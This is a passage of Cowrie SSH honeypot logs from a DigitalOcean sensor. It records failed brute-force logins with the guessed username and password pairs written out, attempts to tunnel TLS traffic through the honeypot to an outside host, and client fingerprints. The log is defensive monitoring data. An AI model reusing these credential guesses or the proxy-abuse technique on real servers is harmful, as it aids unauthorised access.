(iPad; CPU OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.3 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=S0IxYiEyNH4oVGxPWX4zKw%3D%3DldtpbxOS9239egF0csX8hqNf0S1eUs0G76xkHIJt17QAyY0r%2B6WriCIxN4zi7R%2FZqZZDjIIslgIIgh%2BcnRagEzLhBFFo0U1Ev7CoJyO%2BW%2BrDJTOA5U4eho67YGR5TE9mhKQVIorMolEdh1EwVk8gNrqbf16FtjvRESkZ6HStGdVMme6KkH1KCoNuPQZxFPd6ANh1NO520fg5z7RjFqY%2BOTqxa96PRpG1sttguafZI3ZRhBq3MyYdXhe%2FM1n%2BjVMCE2TlRQNq%2BX8A7JI%2BF5txpRGDYsr%2BkolFhZ%2FV9xQAmqqzDDfidCcWTjb4JQ82zN%2FWUAGsUc%2F6oilbtmiyFygvK17FnGkW8Es2wQf%2FK7DaUBKhlWJm8jM0l3Bz%2FpMIvvlyFvZ4PtJ84gLRW9sF4BbiHVWmfkvDi5xx2sOwWHuEzyYvvz7koqnCRVG8eFd7QxWm7dvjuWN%2FzhVKfcqV%2Fo9YuvVK6XAZotSC5R0pcD%2BeqQYeQYQqKXDmBemyWXEaK5SiTKxtmglXfBitCnGmAw5EOxFTlI4syX6ytlZ3eWxzv%2FwAcvqO8vmy0j5TdEXlWvpU%2Fb8L2P7F2VJXkPZKLnS3W%2FhBBA2D1ht7hj8fXX5YsPUQu%2B5y8qYZ626bH5RAwuETZGmEhDswXaB1K3Sq9g0%2BhqwYVJCQmG3OTufi%2BMGffYAJjQG%2BJOQOWEMInkFCvLYsuSrPksl7%2FNfnX6HsXys4syGRu2SoReGswAJ6NPAe4UtleXpOH2%2FUGySMLvxkEWGmDs3XU6CuPelNQLep2k01EjxeZdpWlybISm9lw4bhPUwGHc7RTdfqiE6AHPRbLxCFsn0BXefFAAATwTAaVGh8g9t%2F8lmla0w73zdvcqlVFY1VPL1UNRjZMR%2BQU4TZi%2BIAxxRpz3BijkF1YudSM1wc7K8lcIyqwS5tu51JySE%2BklaBegv0SGv8DTW5gPiVwRziP%2BT61fQ1jcmX2U99aZ63q5TOTfeWjLnM%2BLDmGYlaeo3BOvOqWRPMMkr40u2LQOfnGkd4yFZuA2rIn2Gm6%2FRaAHFicu6Gb86PZN6ZtSaaDST%2BgqLLh4pzt95khSNm1IAq'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:26.634147Z","src_ip":"23.175.50.47","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:26.690410Z","src_ip":"23.175.50.47","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?\\x8a8\\xbb\\xd3j\\xa0\\x97\\x92N\\xb4As\\xa4\\xf5\\xf7\\xb3`Ly\\x9bY\\x9c\\x08\\x16)\\xb0\\xdb\\xb7\\x05\\x18q \\x19d\\x8fp(\\xbc\\x87\\x17\\x1c7\\xec\\x1a\\xfc\\xb1t\\x04\\xef]\\x82\\xcfE\\xc7^\\xe5Fp\\xa1\\xc5J\\xc9\\x81\\xea\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb1x\\x00V\\xed%\\xfb\\xefgG\\x18ZuS^\\xf2}F\\xda\\xe3\\xc9\\xa6c|\\x991\\x94 ea\\xe2+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?\\x8a8\\xbb\\xd3j\\xa0\\x97\\x92N\\xb4As\\xa4\\xf5\\xf7\\xb3`Ly\\x9bY\\x9c\\x08\\x16)\\xb0\\xdb\\xb7\\x05\\x18q \\x19d\\x8fp(\\xbc\\x87\\x17\\x1c7\\xec\\x1a\\xfc\\xb1t\\x04\\xef]\\x82\\xcfE\\xc7^\\xe5Fp\\xa1\\xc5J\\xc9\\x81\\xea\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb1x\\x00V\\xed%\\xfb\\xefgG\\x18ZuS^\\xf2}F\\xda\\xe3\\xc9\\xa6c|\\x991\\x94 ea\\xe2+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:26.693856Z","src_ip":"23.175.50.47","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:26.805410Z","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:26.862919Z","src_ip":"23.175.50.47","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xca\\x1cfU\\x11\\xc7HP\\x1aow\\xca\\x0bv\\xc7\\xc5\\xe3\\xef[\\xb5jU\\xc9\\xd5\\xaa\\xd9\\xa7X\\x1b^\\x02\\x9a \\x9f\\xe2\\xb4\\xb0^0\\xf6\\x0e\\x02@c\\x840b\\xd9\\x83\\x92\\xcfE\\\\\\x8b[\\x15\\xf1\\x1aC\\xb4~mW\\xbc(\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d\\xb3\\x82\\x93\\xdegx\\xfb\\x980\\x035\\xaa\\x05\\x07J\\xea~\\xc3\\xbf@\\xa2y\\x14\\xa1E\\x92{\\x01\\xb4j\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xca\\x1cfU\\x11\\xc7HP\\x1aow\\xca\\x0bv\\xc7\\xc5\\xe3\\xef[\\xb5jU\\xc9\\xd5\\xaa\\xd9\\xa7X\\x1b^\\x02\\x9a \\x9f\\xe2\\xb4\\xb0^0\\xf6\\x0e\\x02@c\\x840b\\xd9\\x83\\x92\\xcfE\\\\\\x8b[\\x15\\xf1\\x1aC\\xb4~mW\\xbc(\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d\\xb3\\x82\\x93\\xdegx\\xfb\\x980\\x035\\xaa\\x05\\x07J\\xea~\\xc3\\xbf@\\xa2y\\x14\\xa1E\\x92{\\x01\\xb4j\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:26.869326Z","src_ip":"23.175.50.47","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Kuanfan@021","message":"login attempt [ubuntu/Kuanfan@021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:27.001540Z","src_ip":"91.92.40.36","session":"57ece586f576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30606,"dst_ip":"159.203.135.109","dst_port":22,"session":"92820a16f56a","protocol":"ssh","message":"New connection: 91.92.40.36:30606 (159.203.135.109:22) [session: 92820a16f56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:27.627850Z"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:27.871710Z","src_ip":"23.175.50.47","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:30.289707Z","src_ip":"91.92.40.36","session":"92820a16f56a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:30.309374Z","src_ip":"91.92.40.36","session":"92820a16f56a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.2","message":"Connection lost after 17.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:30.773983Z","src_ip":"91.92.40.36","session":"57ece586f576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"Haddock@123","message":"login attempt [haddock/Haddock@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:34.891050Z","src_ip":"91.92.40.36","session":"df39ca3801d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.4","message":"Connection lost after 16.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:37.153140Z","src_ip":"91.92.40.36","session":"df39ca3801d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"654321","message":"login attempt [dev/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:37.646389Z","src_ip":"91.92.40.36","session":"92820a16f56a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:38.847288Z","src_ip":"91.92.40.36","session":"92820a16f56a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44630,"dst_ip":"159.203.135.109","dst_port":22,"session":"adf638824a74","protocol":"ssh","message":"New connection: 91.92.40.36:44630 (159.203.135.109:22) [session: adf638824a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:40.105961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:41.073230Z","src_ip":"91.92.40.36","session":"adf638824a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:41.076375Z","src_ip":"91.92.40.36","session":"adf638824a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11121985","message":"login attempt [user/11121985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:46.343349Z","src_ip":"91.92.40.36","session":"adf638824a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35752,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bead77c5900","protocol":"ssh","message":"New connection: 91.92.40.36:35752 (159.203.135.109:22) [session: 2bead77c5900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:47.769855Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":36560,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdcb834f89f9","protocol":"ssh","message":"New connection: 103.149.28.157:36560 (159.203.135.109:22) [session: cdcb834f89f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:48.130572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:48.134984Z","src_ip":"103.149.28.157","session":"cdcb834f89f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50160,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9eca9c35045","protocol":"ssh","message":"New connection: 123.27.168.40:50160 (10.17.0.5:22) [session: f9eca9c35045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:48.306299Z"}
